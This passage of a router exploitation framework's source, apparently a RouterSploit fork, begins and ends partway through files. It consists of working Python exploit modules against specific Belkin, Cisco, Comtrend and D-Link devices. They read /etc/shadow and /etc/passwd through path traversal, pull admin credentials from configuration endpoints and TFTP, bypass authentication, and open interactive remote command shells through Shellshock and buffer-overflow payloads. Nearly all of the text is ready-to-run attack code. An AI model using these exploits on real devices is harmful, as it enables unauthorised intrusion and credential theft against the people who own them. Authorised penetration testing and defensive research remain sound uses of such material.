vulnerable 91 | 92 | return False # target is not vulnerable 93 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/belkin/n150_path_traversal.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_error, 5 | http_request, 6 | mute, 7 | validators, 8 | ) 9 | 10 | 11 | class Exploit(exploits.Exploit): 12 | """ 13 | Exploit implementation for Belkin N150 Path Traversal vulnerability. 14 | If the target is vulnerable, content of the specified file is returned. 15 | """ 16 | __info__ = { 17 | 'name': 'Belkin N150 Path Traversal', 18 | 'description': 'Module exploits Belkin N150 Path Traversal vulnerability which allows to read any file on the system.', 19 | 'authors': [ 20 | 'Aditya Lad', # vulnerability discovery 21 | 'Rahul Pratap Singh', # vulnerability discovery 22 | 'Marcin Bury ', # routersploit module 23 | ], 24 | 'references': [ 25 | 'https://www.exploit-db.com/exploits/38488/', 26 | 'http://www.belkin.com/us/support-article?articleNum=109400', 27 | 'http://www.kb.cert.org/vuls/id/774788', 28 | ], 29 | 'devices': [ 30 | 'Belkin N150 1.00.07', 31 | 'Belkin N150 1.00.08', 32 | 'Belkin N150 1.00.09', 33 | ], 34 | } 35 | 36 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 37 | port = exploits.Option(80, 'Target Port') 38 | filename = exploits.Option('/etc/shadow', 'File to read') 39 | 40 | def run(self): 41 | if self.check(): 42 | url = "{}:{}/cgi-bin/webproc?getpage={}&var:page=deviceinfo".format(self.target, self.port, self.filename) 43 | 44 | response = http_request(method="GET", url=url) 45 | if response is None: 46 | return 47 | 48 | if response.status_code == 200 and len(response.text): 49 | print_success("Success! File: %s" % self.filename) 50 | print response.text 51 | else: 52 | print_error("Exploit failed") 53 | else: 54 | print_error("Device seems to be not vulnerable") 55 | 56 | @mute 57 | def check(self): 58 | url = "{}:{}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo".format(self.target, self.port) 59 | 60 | response = http_request(method="GET", url=url) 61 | if response is None: 62 | return False # target is not vulnerable 63 | 64 | if "root:" in response.text: 65 | return True # target vulnerable 66 | 67 | return False # target is not vulnerable 68 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/belkin/n750_rce.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_status, 5 | print_error, 6 | random_text, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for Belkin N750 Remote Code Execution vulnerability. 16 | If the target is vulnerable, command prompt is invoked. 17 | """ 18 | __info__ = { 19 | 'name': 'Belkin N750 RCE', 20 | 'description': 'Module exploits Belkin N750 Remote Code Execution vulnerability which allows executing commands on operation system level.', 21 | 'authors': [ 22 | 'Marco Vaz ', # vulnerability discovery 23 | 'Marcin Bury ', # routersploit module 24 | ], 25 | 'references': [ 26 | 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1635', 27 | 'https://www.exploit-db.com/exploits/35184/', 28 | 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/', 29 | ], 30 | 'devices': [ 31 | 'Belkin N750', 32 | ] 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 36 | port = exploits.Option(80, 'Target Port') 37 | 38 | def run(self): 39 | if self.check() is True: 40 | print_success("Target is vulnerable") 41 | print_status("Invoking command loop...") 42 | self.command_loop() 43 | else: 44 | print_error("Target is not vulnerable") 45 | 46 | def command_loop(self): 47 | while 1: 48 | cmd = raw_input("cmd > ") 49 | 50 | if cmd in ['exit', 'quit']: 51 | return 52 | 53 | print self.execute(cmd) 54 | 55 | def execute(self, cmd): 56 | url = "{}:{}/login.cgi.php".format(self.target, self.port) 57 | headers = {u'Content-Type': u'application/x-www-form-urlencoded'} 58 | data = "GO=&jump=" + "A" * 1379 + ";{};&ps=\n\n".format(cmd) 59 | 60 | response = http_request(method="POST", url=url, headers=headers, data=data) 61 | if response is None: 62 | return "" 63 | 64 | return response.text 65 | 66 | @mute 67 | def check(self): 68 | mark = random_text(32) 69 | cmd = "echo {}".format(mark) 70 | 71 | response = self.execute(cmd) 72 | 73 | if mark in response: 74 | return True # target vulnerable 75 | 76 | return False # target is not vulnerable 77 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/cisco/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/cisco/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/cisco/dpc2420_info_disclosure.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_status, 5 | print_error, 6 | print_info, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for Cisco DPC2420 Information Disclosure vulnerability. 16 | If the target is vulnerable it allows to read sensitive information from the configuration file. 17 | """ 18 | __info__ = { 19 | 'name': 'Cisco DPC2420 Info Disclosure', 20 | 'description': 'Module exploits Cisco DPC2420 information disclosure vulnerability which allows reading sensitive information from the configuration file.', 21 | 'authors': [ 22 | 'Facundo M. de la Cruz (tty0) ', # vulnerability discovery 23 | 'Marcin Bury ', # routersploit module 24 | ], 25 | 'references': [ 26 | 'https://www.exploit-db.com/exploits/23250/', 27 | ], 28 | 'devices': [ 29 | 'Cisco DPC2420', 30 | ], 31 | } 32 | 33 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 34 | port = exploits.Option(8080, 'Target Port') 35 | 36 | def run(self): 37 | url = "{}:{}/filename.gwc".format(self.target, self.port) 38 | 39 | response = http_request(method="GET", url=url) 40 | if response is None: 41 | return 42 | 43 | if response.status_code == 200 and "User Password" in response.text: 44 | print_success("Exploit success - reading configuration file filename.gwc") 45 | print_info(response.text) 46 | else: 47 | print_error("Exploit failed - could not read configuration file") 48 | 49 | @mute 50 | def check(self): 51 | url = "{}:{}/filename.gwc".format(self.target, self.port) 52 | 53 | response = http_request(method="GET", url=url) 54 | if response is None: 55 | return False # target is not vulnerable 56 | 57 | if response.status_code == 200 and "User Password" in response.text: 58 | return True # target is vulnerable 59 | 60 | return False # target is not vulnerable 61 | 62 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/cisco/ucm_info_disclosure.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_success, 6 | print_status, 7 | print_error, 8 | print_info, 9 | mute, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for Cisco UCM Information Disclosure vulnerability. 16 | If the target is vulnerable, it is possible to read sensitive information through TFTP service. 17 | """ 18 | __info__ = { 19 | 'name': 'Cisco UCM Info Disclosure', 20 | 'description': 'Module exploits information disclosure vulnerability in Cisco UCM devices. If the target is vulnerable it is possible to read sensitive information through TFTP service.', 21 | 'authors': [ 22 | 'Daniel Svartman ', # routersploit module 24 | ], 25 | 'references': [ 26 | 'https://www.exploit-db.com/exploits/30237/', 27 | 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7030', 28 | ], 29 | 'devices': [ 30 | 'Cisco UCM', 31 | ], 32 | } 33 | 34 | target = exploits.Option('', 'Target IP address') 35 | 36 | payload = "\x00\x01" + "SPDefault.cnf.xml" + "\x00" + "netascii" + "\x00" 37 | 38 | def run(self): 39 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 40 | sock.settimeout(10) 41 | 42 | print_status("Sending payload") 43 | sock.sendto(self.payload, (self.target, 69)) 44 | 45 | try: 46 | response = sock.recv(2048) 47 | except socket.timeout: 48 | print_error("Exploit failed - device seems to be not vulnerable") 49 | return 50 | 51 | if len(response): 52 | if "UseUserCredential" in response: 53 | print_success("Exploit success - file {}".format("SPDefault.cnf.xml")) 54 | print_info(response) 55 | else: 56 | print_error("Exploit failed - credentials not found in response") 57 | else: 58 | print_error("Exploit failed - empty response") 59 | 60 | @mute 61 | def check(self): 62 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 63 | sock.settimeout(10) 64 | sock.sendto(self.payload, (self.target, 69)) 65 | 66 | try: 67 | response = sock.recv(2048) 68 | except socket.timeout: 69 | return False # target is not vulnerable 70 | 71 | if len(response) and "UseUserCredential" in response: 72 | return True # target is vulnerable 73 | 74 | return False # target is not vulnerable 75 | 76 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/cisco/ucs_manager_rce.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_success, 6 | print_status, 7 | print_error, 8 | random_text, 9 | http_request, 10 | mute, 11 | validators, 12 | ) 13 | 14 | 15 | class Exploit(exploits.Exploit): 16 | """ 17 | Exploit implementation for Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability. 18 | If the target is vulnerable, command loop is invoked that allows executing commands on operating system level. 19 | """ 20 | __info__ = { 21 | 'name': 'Cisco UCS Manager RCE', 22 | 'description': 'Module exploits Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability which allows executing commands on operating system level.', 23 | 'authors': [ 24 | 'thatchriseckert', # vulnerability discovery 25 | 'Marcin Bury ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'https://www.exploit-db.com/exploits/39568/', 29 | 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash', 30 | ], 31 | 'devices': [ 32 | 'Cisco UCS Manager 2.1 (1b)', 33 | ], 34 | } 35 | 36 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 37 | port = exploits.Option(80, 'Target Port') 38 | 39 | def run(self): 40 | if self.check(): 41 | print_success("Target is vulnerable") 42 | print_status("Invoking command loop...") 43 | self.command_loop() 44 | else: 45 | print_error("Target is not vulnerable") 46 | 47 | def command_loop(self): 48 | while 1: 49 | cmd = raw_input("cmd > ") 50 | 51 | if cmd in ['exit', 'quit']: 52 | return 53 | 54 | print self.execute(cmd) 55 | 56 | def execute(self, cmd): 57 | mark = random_text(32) 58 | url = "{}:{}/ucsm/isSamInstalled.cgi".format(self.target, self.port) 59 | headers = { 60 | "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; echo %s; echo "$(%s)"; echo %s;' % (mark, cmd, mark) 61 | } 62 | 63 | response = http_request(method="GET", url=url, headers=headers) 64 | if response is None: 65 | return "" 66 | 67 | if mark in response.text: 68 | regexp = "%s(|.+?)%s" % (mark, mark) 69 | res = re.findall(regexp, response.text, re.DOTALL) 70 | 71 | if len(res): 72 | return res[0] 73 | 74 | return "" 75 | 76 | @mute 77 | def check(self): 78 | mark = random_text(32) 79 | cmd = "echo {}".format(mark) 80 | 81 | response = self.execute(cmd) 82 | 83 | if mark in response: 84 | return True 85 | 86 | return False 87 | 88 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/cisco/unified_multi_path_traversal.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_status, 5 | print_error, 6 | print_info, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for Path Traversal vulnerability in Cisco Unified Communications Manager, Cisco Unified Contact Center Express and Cisco Unified IP Interactive Voice Response devices. 16 | If the target is vulnerable it allows to read files from the filesystem. 17 | """ 18 | __info__ = { 19 | 'name': 'Cisco Unified Multi Path Traversal', 20 | 'description': 'Module exploits path traversal vulnerability in Cisco Unified Communications Manager, Cisco Unified Contact Center Express and Cisco Unified IP Interactive Voice Response devices.' 21 | 'If the target is vulnerable it allows to read files from the filesystem.', 22 | 'authors': [ 23 | 'Facundo M. de la Cruz (tty0) ', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/36256/', 28 | 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3315', 29 | ], 30 | 'devices': [ 31 | 'Cisco Unified Communications Manager 5.x', 32 | 'Cisco Unified Communications Manager 6.x < 6.1(5)', 33 | 'Cisco Unified Communications Manager 7.x < 7.1(5b)', 34 | 'Cisco Unified Communications Manager 8.x < 8.0(3)', 35 | 'Cisco Unified Contact Center Express', 36 | 'Cisco Unified IP Interactive Voice Response < 6.0(1)', 37 | 'Cisco Unified IP Interactive Voice Response 7.0(x) < 7.0(2)', 38 | 'Cisco Unified IP Interactive Voice Response 8.0(x) < 8.5(1)', 39 | ], 40 | } 41 | 42 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 43 | port = exploits.Option(80, 'Target Port') 44 | filename = exploits.Option('/etc/passwd', 'File to read from the filesystem') 45 | 46 | def run(self): 47 | if self.check(): 48 | url = "{}:{}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../..{}".format(self.target, self.port, self.filename) 49 | 50 | response = http_request(method="GET", url=url) 51 | if response is None: 52 | return 53 | 54 | if response.status_code == 200 and len(response.text): 55 | print_success("Exploit success - reading file {}".format(self.filename)) 56 | print_info(response.text) 57 | else: 58 | print_error("Exploit failed - could not read file") 59 | else: 60 | print_error("Exploit failed - target seems to be not vulnerable") 61 | 62 | @mute 63 | def check(self): 64 | url = "{}:{}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd".format(self.target, self.port) 65 | 66 | response = http_request(method="GET", url=url) 67 | if response is None: 68 | return False # target is not vulnerable 69 | 70 | if response.status_code == 200 and "admin:" in response.text: 71 | return True # target is vulnerable 72 | 73 | return False # target is not vulnerable 74 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/cisco/video_surv_path_traversal.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_status, 5 | print_error, 6 | print_info, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for Path Traversal vulnerability in Cisco Video Surveillance Operations Manager 6.3.2 devices. 16 | If the target is vulnerable, it allows to read files from the filesystem. 17 | """ 18 | __info__ = { 19 | 'name': 'Cisco Unified Multi Path Traversal', 20 | 'description': 'Module exploits path traversal vulnerability in Cisco Video Surveillance Operations Manager 6.3.2 devices.' 21 | 'If the target is vulnerable it allows to read files from the filesystem.', 22 | 'authors': [ 23 | 'b.saleh', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/38389/', 28 | ], 29 | 'devices': [ 30 | 'Cisco Video Surveillance Operations Manager 6.3.2', 31 | ], 32 | } 33 | 34 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 35 | port = exploits.Option(80, 'Target Port') 36 | filename = exploits.Option('/etc/passwd', 'File to read from the filesystem') 37 | 38 | def run(self): 39 | if self.check(): 40 | url = "{}:{}/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../..{}".format(self.target, self.port, self.filename) 41 | 42 | response = http_request(method="GET", url=url) 43 | if response is None: 44 | return 45 | 46 | if response.status_code == 200 and len(response.text): 47 | print_success("Exploit success") 48 | print_status("Reading file: {}".format(self.filename)) 49 | print_info(response.text) 50 | else: 51 | print_error("Exploit failed - could not read file") 52 | else: 53 | print_error("Exploit failed - device seems to be not vulnerable") 54 | 55 | @mute 56 | def check(self): 57 | url = "{}:{}/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd".format(self.target, self.port) 58 | 59 | response = http_request(method="GET", url=url) 60 | if response is None: 61 | return False # target is not vulnerable 62 | 63 | if response.status_code == 200 and "admin:" in response.text: 64 | return True # target is vulnerable 65 | 66 | return False # target is not vulnerable 67 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/comtrend/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/comtrend/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/comtrend/ct_5361t_password_disclosure.py: -------------------------------------------------------------------------------- 1 | from base64 import b64decode 2 | import re 3 | 4 | from routersploit import ( 5 | exploits, 6 | print_status, 7 | print_error, 8 | print_success, 9 | print_table, 10 | http_request, 11 | mute, 12 | validators, 13 | ) 14 | 15 | 16 | class Exploit(exploits.Exploit): 17 | """ 18 | Exploit implementation for Comtrend CT-5361T Password Disclosure vulnerability. 19 | If the target is vulnerable it allows to read credentials for admin, support and user." 20 | """ 21 | __info__ = { 22 | 'name': 'Comtrend CT 5361T Password Disclosure', 23 | 'description': 'WiFi router Comtrend CT 5361T suffers from a Password Disclosure Vulnerability', 24 | 'authors': [ 25 | 'TUNISIAN CYBER', # routersploit module 26 | ], 27 | 'references': [ 28 | 'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html' 29 | ], 30 | 'devices': [ 31 | 'Comtrend CT 5361T (more likely CT 536X)', 32 | ] 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | 38 | def run(self): 39 | if self.check(): 40 | url = "{}:{}/password.cgi".format(self.target, self.port) 41 | print_status("Requesting for {}".format(url)) 42 | 43 | response = http_request(method="GET", url=url) 44 | if response is None: 45 | return 46 | 47 | regexps = [("admin", "pwdAdmin = '(.+?)'"), 48 | ("support", "pwdSupport = '(.+?)'"), 49 | ("user", "pwdUser = '(.+?)'")] 50 | 51 | creds = [] 52 | for regexp in regexps: 53 | res = re.findall(regexp[1], response.text) 54 | 55 | if len(res): 56 | creds.append((regexp[0], b64decode(res[0]))) 57 | 58 | if len(creds): 59 | print_success("Credentials found!") 60 | headers = ("Login", "Password") 61 | print_table(headers, *creds) 62 | print("NOTE: Admin is commonly implemented as root") 63 | else: 64 | print_error("Credentials could not be found") 65 | else: 66 | print_error("Device seems to be not vulnerable") 67 | 68 | @mute 69 | def check(self): 70 | url = "{}:{}/password.cgi".format(self.target, self.port) 71 | 72 | response = http_request(method="GET", url=url) 73 | if response is None: 74 | return False # target is not vulnerable 75 | 76 | regexps = ["pwdAdmin = '(.+?)'", 77 | "pwdSupport = '(.+?)'", 78 | "pwdUser = '(.+?)'"] 79 | 80 | for regexp in regexps: 81 | res = re.findall(regexp, response.text) 82 | 83 | if len(res): 84 | try: 85 | b64decode(res[0]) # checking if data is base64 encoded 86 | except: 87 | return False # target is not vulnerable 88 | else: 89 | return False # target is not vulnerable 90 | 91 | return True # target is vulnerable 92 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/dlink/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dir_300_320_600_615_info_disclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_error, 6 | print_success, 7 | print_table, 8 | http_request, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for D-Link DIR-300, DIR-320, DIR-600, DIR-615 Information Disclosure vulnerability. 17 | If the target is vulnerable it allows to read credentials for administrator." 18 | """ 19 | __info__ = { 20 | 'name': 'D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 Info Disclosure', 21 | 'description': 'Module explois information disclosure vulnerability in D-Link DIR-300, DIR-320, DIR-600, DIR-615 devices. It is possible to retrieve sensitive information such as credentials.', 22 | 'authors': [ 23 | 'tytusromekiatomek ', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | 'Aleksandr Mikhaylov ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'http://seclists.org/bugtraq/2013/Dec/11' 29 | ], 30 | 'devices': [ 31 | 'D-Link DIR-300 (all)', 32 | 'D-Link DIR-320 (all)', 33 | 'D-Link DIR-600 (all)', 34 | 'D-Link DIR-615 (fw 4.0)', 35 | ], 36 | } 37 | 38 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 39 | port = exploits.Option(80, 'Target port') # default port 40 | 41 | def run(self): 42 | url = "{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port) 43 | 44 | response = http_request(method="GET", url=url) 45 | if response is None: 46 | return 47 | 48 | creds = re.findall("\n\t\t\t(.+?):(.+?)\n\n\t\t\t", response.text) 49 | 50 | if len(creds): 51 | print_success("Credentials found!") 52 | headers = ("Login", "Password") 53 | print_table(headers, *creds) 54 | else: 55 | print_error("Credentials could not be found") 56 | 57 | @mute 58 | def check(self): 59 | url = "{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port) 60 | 61 | response = http_request(method="GET", url=url) 62 | if response is None: 63 | return False # target is not vulnerable 64 | 65 | creds = re.findall("\n\t\t\t(.+?):(.+?)\n\n\t\t\t", response.text) 66 | 67 | if len(creds): 68 | return True # target is vulnerable 69 | 70 | return False # target is not vulnerable 71 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_error, 5 | http_request, 6 | mute, 7 | validators, 8 | ) 9 | 10 | 11 | class Exploit(exploits.Exploit): 12 | """ 13 | Exploit implementation for D-Link DIR-300, DIR-320, DIR-615 Authentication Bypass vulnerability. 14 | If the target is vulnerable link to bypass authentication will be provided" 15 | """ 16 | __info__ = { 17 | 'name': 'D-Link DIR-300 & DIR-320 & DIR-615 Auth Bypass', 18 | 'description': 'Module exploits authentication bypass vulnerability in D-Link DIR-300, DIR-320, DIR-615 revD devices. It is possible to access administration panel without providing password.', 19 | 'authors': [ 20 | 'Craig Heffner', # vulnerability discovery 21 | 'Karol Celin', # vulnerability discovery 22 | 'Marcin Bury ', # routersploit module 23 | ], 24 | 'references': [ 25 | 'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf', 26 | ], 27 | 'devices': [ 28 | 'D-Link DIR-300', 29 | 'D-Link DIR-600', 30 | 'D-Link DIR-615 revD', 31 | ] 32 | } 33 | 34 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 35 | port = exploits.Option(80, 'Target port') # default port 36 | 37 | def run(self): 38 | if self.check(): 39 | print_success("Target is vulnerable") 40 | print "\nYou need to add NO_NEED_AUTH=1&AUTH_GROUP=0 to query string for every action." 41 | print "\nExamples:" 42 | print "{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0".format(self.target, self.port) 43 | print "{}:{}/bsc_wlan.php?NO_NEED_AUTH=1&AUTH_GROUP=0\n".format(self.target, self.port) 44 | else: 45 | print_error("Target seems to be not vulnerable") 46 | 47 | @mute 48 | def check(self): 49 | # check if it is valid target 50 | url = "{}:{}/bsc_lan.php".format(self.target, self.port) 51 | 52 | response = http_request(method="GET", url=url) 53 | if response is None: 54 | return False # target is not vulnerable 55 | 56 | if '' not in response.text: 57 | return False # target is not vulnerable 58 | 59 | # checking if authentication can be baypassed 60 | url = "{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0".format(self.target, self.port) 61 | 62 | response = http_request(method="GET", url=url) 63 | if response is None: 64 | return False # target is not vulnerable 65 | 66 | if '' not in response.text: 67 | return True # target is vulnerable 68 | 69 | return False # target is not vulnerable 70 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dir_300_600_rce.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_error, 4 | print_success, 5 | print_status, 6 | random_text, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for D-Link DIR-300, DIR-600 Remote Code Execution vulnerability. 16 | If the target is vulnerable, command loop is invoked that allows executing commands with root privileges. 17 | """ 18 | __info__ = { 19 | 'name': 'D-LINK DIR-300 & DIR-600 RCE', 20 | 'description': 'Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.', 21 | 'authors': [ 22 | 'Michael Messner ', # vulnerability discovery 23 | 'Marcin Bury ', # routersploit module 24 | ], 25 | 'references': [ 26 | 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router', 27 | 'http://www.s3cur1ty.de/home-network-horror-days', 28 | 'http://www.s3cur1ty.de/m1adv2013-003', 29 | ], 30 | 'devices': [ 31 | 'D-Link DIR 300', 32 | 'D-Link DIR 600', 33 | ] 34 | } 35 | 36 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 37 | port = exploits.Option(80, 'Target Port') 38 | 39 | def run(self): 40 | if self.check(): 41 | print_success("Target is vulnerable") 42 | print_status("Invoking command loop...") 43 | self.command_loop() 44 | else: 45 | print_error("Target is not vulnerable") 46 | 47 | def command_loop(self): 48 | while 1: 49 | cmd = raw_input("cmd > ") 50 | 51 | if cmd in ['exit', 'quit']: 52 | return 53 | 54 | print self.execute(cmd) 55 | 56 | def execute(self, cmd): 57 | url = "{}:{}/command.php".format(self.target, self.port) 58 | headers = {u'Content-Type': u'application/x-www-form-urlencoded'} 59 | data = "cmd={}".format(cmd) 60 | 61 | response = http_request(method="POST", url=url, headers=headers, data=data) 62 | if response is None: 63 | return "" 64 | 65 | return response.text.strip() 66 | 67 | @mute 68 | def check(self): 69 | mark = random_text(32) 70 | cmd = "echo {}".format(mark) 71 | 72 | response = self.execute(cmd) 73 | 74 | if mark in response: 75 | return True # target is vulnerable 76 | 77 | return False # target is not vulnerable 78 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dir_645_password_disclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_error, 6 | print_success, 7 | print_table, 8 | http_request, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for D-Link DIR-645 Password Disclosure vulnerability. 17 | If the target is vulnerable it allows to read credentials." 18 | """ 19 | __info__ = { 20 | 'name': 'D-Link DIR-645 Password Disclosure', 21 | 'description': 'Module exploits D-Link DIR-645 password disclosure vulnerability.', 22 | 'authors': [ 23 | 'Roberto Paleari ', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt' 28 | ], 29 | 'devices': [ 30 | 'D-Link DIR-645 (Versions < 1.03)', 31 | ] 32 | } 33 | 34 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 35 | port = exploits.Option(8080, 'Target port') # default port 36 | 37 | def run(self): 38 | # address and parameters 39 | url = "{}:{}/getcfg.php".format(self.target, self.port) 40 | data = {"SERVICES": "DEVICE.ACCOUNT"} 41 | 42 | # connection 43 | response = http_request(method="POST", url=url, data=data) 44 | if response is None: 45 | return 46 | 47 | # extracting credentials 48 | regular = "(.+?)(|.+?)(|.+?)" 49 | creds = re.findall(regular, re.sub('\s+', '', response.text)) 50 | 51 | # displaying results 52 | if len(creds): 53 | print_success("Credentials found!") 54 | headers = ('Username', 'Password') 55 | creds = tuple(tuple([item[0], item[2]]) for item in creds) 56 | print_table(headers, *creds) 57 | else: 58 | print_error("Credentials could not be found") 59 | 60 | @mute 61 | def check(self): 62 | # address and parameters 63 | url = "{}:{}/getcfg.php".format(self.target, self.port) 64 | data = {"SERVICES": "DEVICE.ACCOUNT"} 65 | 66 | response = http_request(method="POST", url=url, data=data) 67 | if response is None: 68 | return False # target is not vulnerable 69 | 70 | # extracting credentials 71 | regular = "(.+?)(|.+?)(|.+?)" 72 | creds = re.findall(regular, re.sub('\s+', '', response.text)) 73 | 74 | if len(creds): 75 | return True # target is vulnerable 76 | 77 | return False # target is not vulnerable 78 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dns_320l_327l_rce.py: -------------------------------------------------------------------------------- 1 | import re 2 | import string 3 | 4 | from routersploit import ( 5 | exploits, 6 | print_success, 7 | print_status, 8 | print_error, 9 | random_text, 10 | http_request, 11 | mute, 12 | validators, 13 | ) 14 | 15 | 16 | class Exploit(exploits.Exploit): 17 | """ 18 | Exploit implementation for D-Link DNS-320L and DNS-327L Remote Code Execution vulnerability. 19 | If the target is vulnerable, command loop is invoked that allows executing commands on the device. 20 | """ 21 | __info__ = { 22 | 'name': 'D-LINK DNS-320L & DIR-327L RCE', 23 | 'description': 'Module exploits D-Link DNS-320L, DNS-327L Remote Code Execution vulnerability which allows executing command on the device.', 24 | 'authors': [ 25 | 'Gergely Eberhardt', # vulnerability discovery 26 | 'Marcin Bury ', # routersploit module 27 | ], 28 | 'references': [ 29 | 'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf', 30 | ], 31 | 'devices': [ 32 | 'DNS-320L 1.03b04', 33 | 'DNS-327L, 1.02', 34 | ] 35 | } 36 | 37 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 38 | port = exploits.Option(80, 'Target Port') 39 | 40 | def run(self): 41 | if self.check(): 42 | print_success("Target is vulnerable") 43 | print_status("Invoking command loop...") 44 | self.command_loop() 45 | else: 46 | print_error("Target is not vulnerable") 47 | 48 | def command_loop(self): 49 | 